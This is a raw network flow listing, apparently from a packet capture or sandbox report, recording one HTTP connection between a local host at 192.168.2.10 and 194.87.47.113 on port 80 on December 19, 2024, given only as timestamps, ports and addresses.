Dec 19, 2024 08:21:31.763298988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.775096893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.775193930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.775247097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.775408983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.775528908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.775567055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.776266098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.776412010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.776454926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.777030945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.777081966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.777127028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.777810097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.777930021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.777972937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.778584957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.778675079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.778713942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.779393911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.779462099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.779501915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.827199936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.827296019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.827358007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.827558041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.827775002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.827817917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.828413963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.828497887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.828542948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.829199076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.829315901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.829355955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.830095053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.830173016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.830213070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.830780983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.830889940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.830928087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.831558943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.831666946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.831707001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.832360029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.832494020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.832532883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.833147049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.833260059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.833318949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.833981991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.834052086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.834093094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.834711075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.834819078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.834861040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.835510969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.835616112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.835654974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.836301088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.836410999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.836462975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.837085009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.876952887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.877110004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.877135992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.877290010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.877335072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.877382040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.878082037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.878132105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.878171921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.878902912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.878952026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.879031897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.879648924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.879698992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.879764080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.880444050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.880497932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.880541086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.881234884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.881283045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.881342888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.882036924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.882085085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.882217884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.882826090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.882888079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.882921934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.883651018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.883696079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.883729935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.884392023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.884439945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.884527922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.885210037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.885257006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.885373116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.886058092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.886070967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.886110067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.886867046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.886913061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.886962891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.887581110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.887633085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.887671947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.888396025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.888478041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.888503075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.889147043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.889183044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.889278889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.889955997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.889991999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.890037060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.890786886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.890800953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.890830040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.891520023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.891566038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.891664982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.892309904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.892352104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.892419100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.893131971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.893177986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.893229961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.893887997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.893924952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.893987894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.894717932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.894762993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.894807100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.895505905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.895550013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.895612001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.896279097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.896317005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.896383047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.897049904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.897094965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.897155046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.897852898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.897893906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.897949934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.898650885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.898689985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.898749113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.899410963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.899454117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.899522066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.900228024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.900266886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.900345087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.901057005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.901098013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.901233912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.901814938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.901853085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.901905060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.902563095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.902610064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.967206001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.967329025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.967379093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.967534065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.967668056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.967701912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.968472004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.968602896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.968648911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.969105959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.969233990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.969273090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.969875097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.969995022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.970041990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.970716953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.970815897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.970860004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:31.971461058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.971544027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:31.971580982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.019342899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.019386053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.019423962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.019697905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.019711018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.019757032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.020406961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.020450115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.020486116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.021373987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.021543980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.021579981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.022049904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.022195101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.022234917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.022799015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.022907972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.022939920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.023596048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.023735046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.023768902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.024379015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.024523973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.024569035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.025198936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.025326967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.025377989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.026047945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.026164055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.026199102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.027134895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.027234077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.027266026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.028100967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.028206110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.028237104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.028765917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.028928995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.028964043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.029501915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.069238901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.069336891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.069382906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.069463015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.069516897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.069616079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.070343018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.070394039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.070455074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.071090937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.071139097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.071204901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.071858883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.071903944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.071933985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.072773933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.072788000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.072823048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.073529005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.073575020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.073600054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.074265003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.074311972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.074320078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.075042009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.075093985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.075124025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.075820923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.075865030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.075937986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.076600075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.076646090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.076683044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.077377081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.077419996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.077480078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.078151941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.078196049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.078255892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.078977108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.079010010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.079026937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.079735994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.079786062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.079843044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.080539942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.080586910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.080638885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.081322908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.081367970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.081422091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.082139969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.082190990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.082250118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.082904100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.082979918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.082983017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.083687067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.083734989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.083805084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.084511995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.084557056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.084609032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.085377932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.085423946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.085477114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.086108923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.086158037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.086195946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.086858034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.086903095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.086972952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.087656021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.087707043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.087752104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.088449001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.088495016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.088526011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.089265108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.089310884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.089344978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.090035915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.090081930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.090115070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.090804100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.090858936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.090883017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.091650009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.091695070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.091756105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.092395067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.092431068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.092493057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.093206882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.093257904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.093318939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.094223022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.094263077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.094264030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.095086098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.095128059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.159274101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.159420013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.159523010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.159717083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.159773111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.159811974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.160430908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.160566092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.160609961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.161231041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.161329031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.161422968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.162036896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.162161112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.162199020 CET	49720	80	192.168.2.10	194.87.47.113
